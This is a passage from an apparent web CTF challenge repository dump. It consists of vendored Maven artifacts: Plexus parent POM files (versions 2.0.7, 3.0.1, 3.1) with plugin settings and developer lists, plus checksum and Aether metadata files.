<id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <plexusDistMgmtSnapshotsUrl>https://oss.sonatype.org/content/repositories/plexus-snapshots</plexusDistMgmtSnapshotsUrl>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.3.1</version>\n          <configuration>\n            <source>1.4</source>\n            <target>1.4</target>\n            <encoding>${project.build.sourceEncoding}</encoding>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.0</version>\n          <configuration>\n            <goals>deploy</goals>\n            <useReleaseProfile>false</useReleaseProfile>\n            <arguments>-Pplexus-release</arguments>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.4.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>2.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.1.2</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.1.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.4.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.2</version>\n            <configuration>\n              <configLocation>http://svn.apache.org/repos/asf/maven/plugins/tags/maven-checkstyle-plugin-2.2/src/main/resources/config/maven_checks.xml</configLocation>\n              <headerLocation>http://svn.codehaus.org/plexus/pom/trunk/src/main/resources/config/plexus-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.4</version>\n            <configuration>\n              <rulesets>\n                <ruleset>http://svn.apache.org/repos/asf/maven/plugins/trunk/maven-pmd-plugin/src/main/resources/rulesets/maven.xml</ruleset>\n              </rulesets>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.1</version>\n            <configuration>\n              <inputEncoding>${project.build.sourceEncoding}</inputEncoding>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <links>\n                <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>plexus-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar-no-fork</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <version>2.1</version>\n            <inherited>false</inherited>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n\n    </profile>\n\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/2.0.7/plexus-2.0.7.pom.sha1",
    "content": "f6ee62f8157f273757b8ffda59714a6a279a174d"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.0.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:50 CST 2018\nplexus-3.0.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.0.1/plexus-3.0.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.spice</groupId>\n    <artifactId>spice-parent</artifactId>\n    <version>17</version>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <version>3.0.1</version>\n\n  <name>Plexus</name>\n  <description>The Plexus project provides a full software stack for creating and executing software projects.</description>\n  <url>http://plexus.codehaus.org/</url>\n  <inceptionYear>2001</inceptionYear>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstøl</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Hervé Boutemy</name>\n      <id>hboutemy</id>\n      <email>hboutemy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Oleg Gusakov</name>\n      <id>oleg</id>\n      <email>olegy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Vincent Siveton</name>\n      <id>vsiveton</id>\n      <email>vsiveton@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/user</archive>\n      <post>user@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/dev%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/dev</archive>\n      <post>dev@plexus.codehaus.org</post>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Announce List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/announce%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/announce</archive>\n    </mailingList>\n    <mailingList>\n      <name>Plexus Commit List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</subscribe>\n      <unsubscribe>http://xircles.codehaus.org/manage_email/scm%40plexus.codehaus.org</unsubscribe>\n      <archive>http://archive.plexus.codehaus.org/scm</archive>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:git:git@github.com:sonatype/plexus-pom.git</connection>\n    <developerConnection>scm:git:git@github.com:sonatype/plexus-pom.git</developerConnection>\n    <url>http://github.com/sonatype/plexus-pom</url>\n  </scm>\n  <issueManagement>\n    <system>JIRA</system>\n    <url>http://jira.codehaus.org/browse/PLX</url>\n  </issueManagement>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <repository>\n      <id>plexus-releases</id>\n      <name>Plexus Release Repository</name>\n      <url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>\n    </repository>\n    <snapshotRepository>\n      <id>plexus-snapshots</id>\n      <name>Plexus Snapshot Repository</name>\n      <url>${plexusDistMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n    <site>\n      <id>codehaus.org</id>\n      <url>dav:https://dav.codehaus.org/plexus</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <plexusDistMgmtSnapshotsUrl>https://oss.sonatype.org/content/repositories/plexus-snapshots</plexusDistMgmtSnapshotsUrl>\n  </properties>\n\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.2</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>2.3.2</version>\n          <configuration>\n            <source>1.5</source>\n            <target>1.5</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>2.8</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.2.1</version>\n          <configuration>\n            <goals>deploy</goals>\n            <useReleaseProfile>false</useReleaseProfile>\n            <arguments>-Pplexus-release</arguments>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.0</version>\n          <dependencies>\n            <dependency>\n              <groupId>org.apache.maven.wagon</groupId>\n              <artifactId>wagon-webdav-jackrabbit</artifactId>\n              <version>1.0</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.9</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n  </build>\n\n  <reporting>\n    <plugins>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>2.4</version>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>modules</report>\n              <report>license</report>\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n              <report>plugin-management</report>\n              <report>plugins</report>\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.4</version>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>index</report>\n                  <report>summary</report>\n                  <report>modules</report>\n                  <report>license</report>\n                  <report>project-team</report>\n                  <report>scm</report>\n                  <report>issue-tracking</report>\n                  <report>mailing-list</report>\n                  <report>dependency-management</report>\n                  <report>dependencies</report>\n                  <report>dependency-convergence</report>\n                  <report>cim</report>\n                  <report>plugin-management</report>\n                  <report>plugins</report>\n                  <report>distribution-management</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.9</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.6</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>https://raw.github.com/sonatype/plexus-pom/master/src/main/resources/config/plexus-header.txt</headerLocation>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>2.5</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.2</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.8</version>\n            <configuration>\n              <detectLinks>true</detectLinks>\n              <links>\n                <link>http://junit.sourceforge.net/javadoc/</link>\n              </links>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n    <profile>\n      <id>plexus-release</id>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <configuration>\n              <passphrase>${gpg.passphrase}</passphrase>\n            </configuration>\n            <executions>\n              <execution>\n                <id>sign-artifacts</id>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar-no-fork</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!-- This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.0.1/plexus-3.0.1.pom.sha1",
    "content": "9ae573423303ba80844ed564756442d32b97cc33"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:24 CST 2018\nplexus-3.1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus/3.1/plexus-3.1.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nCopyright The Codehaus Foundation.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.sonatype.spice</groupId>\n    <artifactId>spice-parent</artifactId>\n    <version>17</version>\n  </parent>\n\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus</artifactId>\n  <packaging>pom</packaging>\n  <version>3.1</version>\n\n  <name>Plexus</name>\n  <description>The Plexus project provides a full software stack for creating and executing software projects.</description>\n  <url>http://plexus.codehaus.org/</url>\n  <inceptionYear>2001</inceptionYear>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@maven.org</email>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email />\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization />\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Trygve Laugstøl</name>\n      <id>trygvis</id>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Kenney Westerhof</name>\n      <id>kenney</id>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Carlos Sanchez</name>\n      <id>carlos</id>\n      <email>carlos@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Brett Porter</name>\n      <id>brett</id>\n      <email>brett@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>John Casey</name>\n      <id>jdcasey</id>\n      <email>jdcasey@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Andrew Williams</name>\n      <id>handyande</id>\n      <email>andy@handyande.co.uk</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Rahul Thakur</name>\n      <id>rahul</id>\n      <email>rahul.thakur.xdev@gmail.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Joakim Erdfelt</name>\n      <id>joakime</id>\n      <email>joakim@erdfelt.com</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Olivier Lamy</name>\n      <id>olamy</id>\n      <email>olamy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Hervé Boutemy</name>\n      <id>hboutemy</id>\n      <email>hboutemy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Oleg Gusakov</name>\n      <id>oleg</id>\n      <email>olegy@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <name>Vincent Siveton</name>\n      <id>vsiveton</id>\n      <email>vsiveton@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Plexus User List</name>\n      <subscribe>http://xircles.codehaus.org/manage_email/user%40plexus.codehaus.org</subscribe>\n      